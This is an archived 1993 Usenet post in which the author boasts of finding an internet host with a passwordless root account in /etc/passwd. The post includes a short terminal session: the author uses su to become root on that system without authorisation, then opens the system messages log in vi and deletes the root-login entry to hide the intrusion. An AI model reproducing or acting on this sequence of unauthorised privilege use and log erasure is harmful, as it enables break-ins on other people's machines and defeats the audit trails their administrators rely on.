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- From: <unknown>
- Subject: Hole-y smokes
- Message-ID: <C1FFFy.Do1@undergrad.math.waterloo.edu>
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- Organization: University of Waterloo
- Date: Mon, 25 Jan 1993 20:26:20 GMT
- Approved: yep
-
- Exploring the net today, I chanced upon a system (to remain un-named) that
- Lines: 17
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- had (and still has) the following entry in it's /etc/passwd file......
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- user::0:1:User:/user/user:/bin/csh
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- I was quite shocked, I'd never seen that before on any machine connected
- to internet..... Just to be sure, I did a
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- >su user
- >whoami
- root
- >more /usr/adm/sulog
- /usr/adm/sulog: No such file or directory
- >cd /usr/adm
- >vi messages
- <deleted ROOT LOGIN ttyp1 FROM console>
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- Neet-o, eh.....
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